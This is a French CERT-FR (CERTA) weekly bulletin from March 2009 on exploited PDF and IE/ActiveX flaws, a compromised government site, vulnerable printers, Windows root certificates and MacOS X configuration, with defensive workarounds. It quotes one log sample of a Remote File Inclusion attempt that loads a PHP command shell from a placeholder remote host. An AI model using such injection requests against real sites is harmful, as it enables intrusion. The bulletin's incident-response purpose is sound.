S.G.D.S.N
Agence nationale
de la sécurité des
systèmes d'information
Paris, le 20 mars 2009
N° CERTA-2009-ACT-012
Affaire suivie par: CERT-FR
le 20 mars 2009

Bulletin d'actualité du CERT-FR

Objet: Bulletin d’actualité 2009-12

Gestion du document

Référence CERTA-2009-ACT-012
Titre Bulletin d’actualité 2009-12
Date de la première version 20 mars 2009
Date de la dernière version 20 mars 2009
Source(s)
Pièce(s) jointe(s) Aucune(s)
Tableau 1: Gestion du document

Une gestion de version détaillée se trouve à la fin de ce document.

1 Incidents traités cette semaine

1.1 Vulnérabilités PDF et exploitations

Le CERTA est revenu à plusieurs reprises ces dernières semaines sur la vulnérabilité PDF ayant fait l’objet de l’alerte CERTA-2009-ALE-001. Cette vulnérabilité est actuellement largement exploitée sur l’Internet via des pièces jointes à des courriels ou via des pages Web malveillantes.

Adobe a publié deux bulletins de sécurité successifs le 10 puis le 18 mars 2009 référencés dans l’avis CERTA-2009-AVI-094. Les mises à jour concernant les nouvelles versions (9.1, 8.1.4 et 7.1.1) sont téléchargeables directement sur le site d’Adobe. Le CERTA rappelle à cette occasion l’impérative nécessité d’appliquer ces mises à jour.

Enfin, cette opération ne doit pas faire oublier la problématique plus générale de l’interprétation des Javascript dans des fichiers Adobe. La configuration de l’application doit donc être examinée et modifiée selon une politique plus restrictive. Est-il par exemple indispensable d’ouvrir automatiquement un fichier PDF dans le navigateur sans autorisation de l’utilisateur ?

1.2 Quand nettoyer n’est pas suffisant

1.2.1 Présentation

Cette semaine, le CERTA a repris contact avec le responsable du site web d’une administration concernant la présence d’un code malveillant sur le serveur. Il y a deux semaines, ce site avait été compromis et les attaquants y avaient déposé des pages de filoutage (phishing). La vulnérabilité semblant avoir été identifiée et corrigée, le responsable du site a fait le choix de « nettoyer » lui-même le serveur. Ce choix s’est avéré inefficace car, lors d’une compromission, les traces et autres outils malveillants (telles que des portes dérobées) déposés par les attaquants sont multiples et se présentent sous des formes parfois anodines. En effet de simple fichiers au format texte, quelle que soit leur extension (.txt, .gif, .jpg, …), peuvent s’avérer être des outils d’attaque qu’il suffira d’inclure sur un site distant vulnérable, lors d’attaque par injection de code par exemple, pour en prendre le contrôle.

Pour illustrer ce propos, voici un exemple de trace laissée dans des journaux lors d’une tentative d’attaque par injection de code (Remote File Inclusion) :

x.x.x.x – – [18/Mar/2009:08:43:55 +0100]
« GET /site/index.php?param=http://sitecompromis.fr/id.txt? HTTP/1.1 » 404
« GET /site/index.php?param=http://sitecompromis.fr/icone.jpg? HTTP/1.1 » 404
[…]

Dans cette exemple, le fichier id.txt hébergé sur le site sitecompromis.fr est un fichier au format texte écrit en langage PHP permettant d’exécuter des commandes sur le site attaqué. De même, le fichier icone.jpg n’est pas une image malgré son extension.

Le CERTA rappelle que, suite à une compromission, il est préférable de reprendre une sauvegarde de confiance, d’apporter les correctifs nécessaires et ensuite seulement remettre le site en ligne. Une réinstallation complète du système est parfois indispensable car aucune confiance ne peut être accordée à une machine compromise. Tous ces conseils et bien d’autres sont détaillés dans la note d’information du CERTA CERTA-2002-INF-002.

1.2.2 Documentation

2 Mise à jour d’imprimantes

Le CERTA a publié l’avis CERTA-2009-AVI-058 le 10 février 2009 concernant une vulnérabilité permettant un contournement de la politique de sécurité via des imprimantes. Cette faille permet à une personne distante malintentionnée de lire des fichiers auxquels elle n’a pas normalement accès via une URI spécialement construite et permettant une traversée de répertoire (directory traversal).

Une étude publiée cette semaine rappelle par ailleurs qu’il est possible de retrouver via un script et une recherche sur l’Internet des imprimantes vulnérables connectées au web. Il est alors possible de se connecter à l’imprimante et de parcourir un certain nombre de fichiers en lecture dont par exemple des fichiers mis en cache avant impression ou des données de configuration interne.

Le CERTA rappelle qu’il est nécessaire d’isoler les périphériques de toutes connexions vers/depuis l’extérieur si elles ne sont pas nécessaires. Les accès à leur interface d’administration doit être restreint à des postes dédiés si possible déconnectés de l’Internet. De plus, une politique de mise à jour doit s’appliquer à tous les systèmes d’un parc : cela comprend en particulier les périphériques comme les imprimantes, les caméras, les téléphones IP, etc.

3 ActiveX et documents Word

3.1 Rappel des faits

Dans l’article « Exploitation de la vulnérabilité MS09-002 » du bulletin d’actualité CERTA-2009-ACT-008 du 20 février 2009, était décrit le fait qu’une vulnérabilité touchant Internet Explorer 7 était exploitée via un document XML de Microsoft Office Word renommé en .doc.

L’ouverture de ce document provoquait une connexion vers un site distant exploitant la vulnérabilité d’Internet Explorer MS09-002, causant l’exécution de code arbitraire.

Cette méthode ne semble pas fonctionner sur Office XP, mais uniquement sur Office 2003 et 2007.

L’intérêt pour l’attaquant de passer par un document Word est multiple :

  • éviter la suspicion, même de la part d’un utilisateur averti de l’existence d’une vulnérabilité d’Internet Explorer ;
  • forcer l’utilisation d’Internet Explorer, même pour des utilisateurs ayant choisi un navigateur alternatif par défaut ;
  • contourner le mode protégé sous Windows Vista.

3.2 Mesure de contournement

Dans le cas analysé par le CERTA, la connexion à distance se fait en instanciant le contrôle ActiveX mshtml.dll. Ce contrôle étant marqué comme sûr, Microsoft Office ne demande pas, par défaut, de confirmation de la part de l’utilisateur pour l’utiliser.

Ainsi, tout contrôle ActiveX vulnérable, s’il est marqué comme sûr, peut être instancié dans un document Word pour exploiter la vulnérabilité, et non seulement dans Internet Explorer.

Dans Office 2007, il est possible de désactiver totalement la prise en compte des ActiveX dans les documents Office : Dans le menu principal, sélectionner « Options Word » , « Centre de gestion de la confidentialité » , « Paramètres du Centre de gestion de la confidentialité » , « Paramètres ActiveX » , et enfin l’option « Désactiver tous les contrôles sans notification. »

Dans Office 2003, il ne semble pas exister de telle option. Il est seulement possible de configurer le comportement d’Office avec les ActiveX marqués comme non sûrs. Toutefois, la désactivation de la prise en compte des fichiers de type XML par Microsoft Word est un bon contournement, au moins pour les scénarios d’exploitation observés jusqu’à présent.

Ceci se fait en modifiant la clé de registre suivante :

HKCU\Software\Policies\Microsoft\Office\11.0\Word\Security\FileOpenBlock
et en affectant 1 à la valeur (de type DWORD)XmlFiles.

Ceci fonctionne même si le fichier est renommé en .doc. Il est possible de bloquer d’autres types de fichiers.

Pour rappel, ces valeurs sont directement modifiables dans les stratégies de groupe. Des modèles d’administration proposant une multitude d’options à configurer pour Office sont disponibles sur le site de Microsoft.

Enfin, un dernier contournement est la possibilité d’utiliser une suite bureautique alternative, telle que OpenOffice.org.

3.3 Documentation

4 Certificats d’autorité racine sous Windows

Le CERTA a été solicité cette semaine pour un problème concernant le magasin de certificats sous Microsoft Windows. En effet, une personne a décrit le phénomène suivant : après avoir supprimé un certificat dans la liste des certificats d’autorités racine de confiance, la personne a constaté que celui-ci pouvait réapparaître après la consultation, via Internet Explorer, d’un site web dont la chaîne de certificat présentait l’autorité racine précédemment supprimée. L’hypothèse suggérée était que le certificat était rajouté automatiquement sans confirmation de l’utilisateur et peut-être sans vérification… En fait, il n’en est rien et ce comportement est parfaitement documenté par Microsoft dans sa base de connaissance (KB283717). Sous Windows XP et les versions suivantes, il existe un composant (Panneau de configuration => Ajout/Suppression des Programmes => Ajouter ou supprimer des composants Windows) nommé « Mettre les certificats racine à jour ». Ce composant permet de mettre à jour ou de réinstaller automatiquement à la demande, les certificats racine de confiance fournis par défaut dans Windows ou via Windows Update. Dans le cas présent la personne ayant supprimé l’autorité racine la voyait réapparaître après avoir consulté un site de l’administration s’appuyant sur ce certificat. Dans les faits, le certificat a été réinstallé via Windows Update de façon silencieuse lors de la négociation initiale avec le site de l’administration. Ce n’est en aucun cas le certificat racine présenté par le site qui est ajouté automatiquement.

5 Configuration MacOSX

Le CERTA avait déjà détaillé la commande defaults sous MacOS X. Elle permet de configurer et d’accéder à un certain nombre de paramètres relatifs au comportement du système et à l’interface utilisateur. Mais le contenu de cette configuration peut varier d’une version à l’autre de MacOS X. Ainsi le CERTA évoquait dans son bulletin d’actualité CERTA-2008-ACT-014 le paramètre DSDontWriteNetworkStores présent sur MacOS X 10.4. Celui-ci a disparu dans la version suivant 10.5. Cette commande n’est pas le seul moyen de configurer un système MacOS X en ligne de commande. Il existe un ensemble de fichiers de configuration comme ceux présents dans le répertoire /Library/Preferences. Ces fichiers d’extension .plist contiennent des informations relatives à la configuration du système. Le fichier com.apple.alf.plist contient par exemple la configuration du pare-feu applicatif apparue avec la version 10.5. Le contenu de ces fichiers peut être directement lisible (format XML) ou être sous forme binaire.

Dans le cas de la version binaire, il est possible par une commande intégrée à MacOS X (plutil) de convertir le fichier. Ainsi la commande : plutil -f xml1 com.apple.alf.plist convertit le contenu du fichier binaire en un contenu XML directement exploitable.

L’objet de cet article n’est pas de détailler l’ensemble des possiblités offertes mais de montrer qu’il est possible, pour un administrateur réseau, de récupérer par quelques commandes des informations utiles sur l’état d’un Macintosh dans le cas d’une première analyse (avec les limites que cela implique également).

Rappel des avis émis

Dans la période du 09 au 15 mars 2009, le CERT-FR a émis les publications suivantes :


Gestion détaillée du document

    le 20 mars 2009
    version initiale.